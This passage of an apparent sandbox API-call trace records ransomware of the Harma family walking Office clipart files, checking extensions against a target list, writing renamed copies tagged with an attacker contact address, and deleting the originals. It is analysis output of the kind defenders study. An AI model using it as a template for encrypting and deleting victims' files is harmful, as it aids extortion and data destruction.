(lpString=".bz2") returned 4 [0160.753] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0160.753] lstrlenW (lpString=".7z") returned 3 [0160.753] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0160.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0160.753] lstrlenW (lpString=".dbf") returned 4 [0160.753] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0160.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0160.753] lstrlenW (lpString=".1cd") returned 4 [0160.753] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0160.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099148.JPG") returned 63 [0160.753] lstrlenW (lpString=".jpg") returned 4 [0160.753] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0160.753] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0160.753] lstrlenW (lpString="J0099151.WMF") returned 12 [0160.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0160.764] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=26086) returned 1 [0160.764] CloseHandle (hObject=0x330) returned 1 [0160.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf")) returned 0x20 [0160.764] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0160.764] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0160.764] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0160.765] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0160.765] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x340 [0160.765] GetLastError () returned 0x0 [0160.765] ReadFile (in: hFile=0x330, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x65e6, lpOverlapped=0x0) returned 1 [0160.776] WriteFile (in: hFile=0x340, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x65f0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x65f0, lpOverlapped=0x0) returned 1 [0160.777] ReadFile (in: hFile=0x330, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0160.777] WriteFile (in: hFile=0x340, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0160.777] SetEndOfFile (hFile=0x340) returned 1 [0160.777] CloseHandle (hObject=0x340) returned 1 [0160.777] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0160.778] SetEndOfFile (hFile=0x330) returned 1 [0160.780] CloseHandle (hObject=0x330) returned 1 [0160.780] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0160.821] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099151.wmf")) returned 1 [0160.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0160.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0160.821] lstrlenW (lpString=".doc") returned 4 [0160.821] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.821] lstrlenW (lpString=".docx") returned 5 [0160.821] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0160.821] lstrlenW (lpString=".pdf") returned 4 [0160.821] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.821] lstrlenW (lpString=".xls") returned 4 [0160.821] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.822] lstrlenW (lpString=".xlsx") returned 5 [0160.822] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0160.822] lstrlenW (lpString=".ppt") returned 4 [0160.822] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0160.822] lstrlenW (lpString=".zip") returned 4 [0160.822] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.822] lstrlenW (lpString=".rar") returned 4 [0160.822] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.822] lstrlenW (lpString=".bz2") returned 4 [0160.822] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.822] lstrlenW (lpString=".7z") returned 3 [0160.822] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0160.822] lstrlenW (lpString=".dbf") returned 4 [0160.822] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0160.822] lstrlenW (lpString=".1cd") returned 4 [0160.822] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0160.822] lstrlenW (lpString=".jpg") returned 4 [0160.822] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0160.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0160.822] lstrlenW (lpString=".doc") returned 4 [0160.822] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0160.822] lstrlenW (lpString=".docx") returned 5 [0160.822] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0160.822] lstrlenW (lpString=".pdf") returned 4 [0160.822] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0160.822] lstrlenW (lpString=".xls") returned 4 [0160.822] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0160.822] lstrlenW (lpString=".xlsx") returned 5 [0160.823] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0160.823] lstrlenW (lpString=".ppt") returned 4 [0160.823] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0160.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0160.823] lstrlenW (lpString=".zip") returned 4 [0160.823] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0160.823] lstrlenW (lpString=".rar") returned 4 [0160.823] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0160.823] lstrlenW (lpString=".bz2") returned 4 [0160.823] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0160.823] lstrlenW (lpString=".7z") returned 3 [0160.823] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0160.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0160.823] lstrlenW (lpString=".dbf") returned 4 [0160.823] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0160.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0160.823] lstrlenW (lpString=".1cd") returned 4 [0160.823] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0160.823] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099151.WMF") returned 63 [0160.823] lstrlenW (lpString=".jpg") returned 4 [0160.823] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0160.823] lstrcmpiW (lpString1=".WMF", lpString2=".harma") returned 1 [0160.823] lstrlenW (lpString="J0099153.WMF") returned 12 [0160.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0160.833] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=13874) returned 1 [0160.834] CloseHandle (hObject=0x358) returned 1 [0160.834] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf")) returned 0x20 [0161.198] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0161.198] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0161.198] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0161.199] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0161.199] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0162.168] GetLastError () returned 0x0 [0162.168] ReadFile (in: hFile=0x364, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x3632, lpOverlapped=0x0) returned 1 [0162.230] WriteFile (in: hFile=0x39c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x3640, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x3640, lpOverlapped=0x0) returned 1 [0162.231] ReadFile (in: hFile=0x364, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0162.231] WriteFile (in: hFile=0x39c, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0162.231] SetEndOfFile (hFile=0x39c) returned 1 [0162.231] CloseHandle (hObject=0x39c) returned 1 [0162.232] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0162.232] SetEndOfFile (hFile=0x364) returned 1 [0162.239] CloseHandle (hObject=0x364) returned 1 [0162.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0162.281] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099153.wmf")) returned 1 [0162.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0162.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0162.282] lstrlenW (lpString=".doc") returned 4 [0162.282] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.282] lstrlenW (lpString=".docx") returned 5 [0162.282] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0162.282] lstrlenW (lpString=".pdf") returned 4 [0162.282] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.282] lstrlenW (lpString=".xls") returned 4 [0162.282] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.282] lstrlenW (lpString=".xlsx") returned 5 [0162.282] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0162.282] lstrlenW (lpString=".ppt") returned 4 [0162.282] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.282] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0162.282] lstrlenW (lpString=".zip") returned 4 [0162.283] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.283] lstrlenW (lpString=".rar") returned 4 [0162.283] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.283] lstrlenW (lpString=".bz2") returned 4 [0162.283] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.283] lstrlenW (lpString=".7z") returned 3 [0162.283] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0162.283] lstrlenW (lpString=".dbf") returned 4 [0162.283] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0162.283] lstrlenW (lpString=".1cd") returned 4 [0162.283] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0162.283] lstrlenW (lpString=".jpg") returned 4 [0162.283] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0162.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0162.284] lstrlenW (lpString=".doc") returned 4 [0162.284] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0162.284] lstrlenW (lpString=".docx") returned 5 [0162.284] lstrcmpiW (lpString1=".docx", lpString2="3.WMF") returned -1 [0162.284] lstrlenW (lpString=".pdf") returned 4 [0162.284] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0162.284] lstrlenW (lpString=".xls") returned 4 [0162.284] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0162.284] lstrlenW (lpString=".xlsx") returned 5 [0162.284] lstrcmpiW (lpString1=".xlsx", lpString2="3.WMF") returned -1 [0162.284] lstrlenW (lpString=".ppt") returned 4 [0162.284] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0162.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0162.284] lstrlenW (lpString=".zip") returned 4 [0162.284] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0162.284] lstrlenW (lpString=".rar") returned 4 [0162.284] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0162.284] lstrlenW (lpString=".bz2") returned 4 [0162.284] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0162.284] lstrlenW (lpString=".7z") returned 3 [0162.284] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0162.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0162.284] lstrlenW (lpString=".dbf") returned 4 [0162.285] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0162.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0162.285] lstrlenW (lpString=".1cd") returned 4 [0162.285] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0162.285] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099153.WMF") returned 63 [0162.285] lstrlenW (lpString=".jpg") returned 4 [0162.285] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0162.285] lstrcmpiW (lpString1=".JPG", lpString2=".harma") returned 1 [0162.285] lstrlenW (lpString="J0099162.JPG") returned 12 [0162.285] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0162.286] GetFileSizeEx (in: hFile=0x330, lpFileSize=0x2ffff1c | out: lpFileSize=0x2ffff1c*=19656) returned 1 [0162.286] CloseHandle (hObject=0x330) returned 1 [0162.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg")) returned 0x20 [0162.286] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0162.287] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x330 [0162.337] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0162.341] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0162.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0162.343] GetLastError () returned 0x0 [0162.343] ReadFile (in: hFile=0x330, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x4cc8, lpOverlapped=0x0) returned 1 [0162.372] WriteFile (in: hFile=0x398, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0x4cd0, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0x4cd0, lpOverlapped=0x0) returned 1 [0162.374] ReadFile (in: hFile=0x330, lpBuffer=0x3c10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fffed4, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesRead=0x2fffed4*=0x0, lpOverlapped=0x0) returned 1 [0162.374] WriteFile (in: hFile=0x398, lpBuffer=0x3c10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fffc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c10020*, lpNumberOfBytesWritten=0x2fffc9c*=0xec, lpOverlapped=0x0) returned 1 [0162.374] SetEndOfFile (hFile=0x398) returned 1 [0162.374] CloseHandle (hObject=0x398) returned 1 [0162.374] SetFilePointerEx (in: hFile=0x330, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fffec8 | out: lpNewFilePointer=0x0) returned 1 [0162.374] SetEndOfFile (hFile=0x330) returned 1 [0162.378] CloseHandle (hObject=0x330) returned 1 [0162.379] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0162.454] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099162.jpg")) returned 1 [0162.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0162.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0162.455] lstrlenW (lpString=".doc") returned 4 [0162.455] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0162.455] lstrlenW (lpString=".docx") returned 5 [0162.455] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0162.455] lstrlenW (lpString=".pdf") returned 4 [0162.455] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0162.455] lstrlenW (lpString=".xls") returned 4 [0162.455] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0162.455] lstrlenW (lpString=".xlsx") returned 5 [0162.455] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0162.455] lstrlenW (lpString=".ppt") returned 4 [0162.455] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0162.455] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0162.455] lstrlenW (lpString=".zip") returned 4 [0162.455] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0162.455] lstrlenW (lpString=".rar") returned 4 [0162.455] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0162.455] lstrlenW (lpString=".bz2") returned 4 [0162.455] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0162.456] lstrlenW (lpString=".7z") returned 3 [0162.456] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0162.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0162.456] lstrlenW (lpString=".dbf") returned 4 [0162.456] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0162.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0162.456] lstrlenW (lpString=".1cd") returned 4 [0162.456] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0162.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0162.456] lstrlenW (lpString=".jpg") returned 4 [0162.456] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0162.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0162.456] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0162.456] lstrlenW (lpString=".doc") returned 4 [0162.456] lstrcmpiW (lpString1=".doc", lpString2=".JPG") returned -1 [0162.456] lstrlenW (lpString=".docx") returned 5 [0162.456] lstrcmpiW (lpString1=".docx", lpString2="2.JPG") returned -1 [0162.456] lstrlenW (lpString=".pdf") returned 4 [0162.456] lstrcmpiW (lpString1=".pdf", lpString2=".JPG") returned 1 [0162.456] lstrlenW (lpString=".xls") returned 4 [0162.457] lstrcmpiW (lpString1=".xls", lpString2=".JPG") returned 1 [0162.457] lstrlenW (lpString=".xlsx") returned 5 [0162.457] lstrcmpiW (lpString1=".xlsx", lpString2="2.JPG") returned -1 [0162.457] lstrlenW (lpString=".ppt") returned 4 [0162.457] lstrcmpiW (lpString1=".ppt", lpString2=".JPG") returned 1 [0162.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0162.457] lstrlenW (lpString=".zip") returned 4 [0162.457] lstrcmpiW (lpString1=".zip", lpString2=".JPG") returned 1 [0162.457] lstrlenW (lpString=".rar") returned 4 [0162.457] lstrcmpiW (lpString1=".rar", lpString2=".JPG") returned 1 [0162.457] lstrlenW (lpString=".bz2") returned 4 [0162.457] lstrcmpiW (lpString1=".bz2", lpString2=".JPG") returned -1 [0162.457] lstrlenW (lpString=".7z") returned 3 [0162.457] lstrcmpiW (lpString1=".7z", lpString2="JPG") returned -1 [0162.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0162.457] lstrlenW (lpString=".dbf") returned 4 [0162.457] lstrcmpiW (lpString1=".dbf", lpString2=".JPG") returned -1 [0162.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0162.457] lstrlenW (lpString=".1cd") returned 4 [0162.457] lstrcmpiW (lpString1=".1cd", lpString2=".JPG") returned -1 [0162.457] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099162.JPG") returned 63 [0162.457] lstrlenW (lpString=".jpg") returned 4 [0162.457] lstrcmpiW (lpString1=".jpg", lpString2=".JPG") returned 0 [0162.458] lstrcmpiW 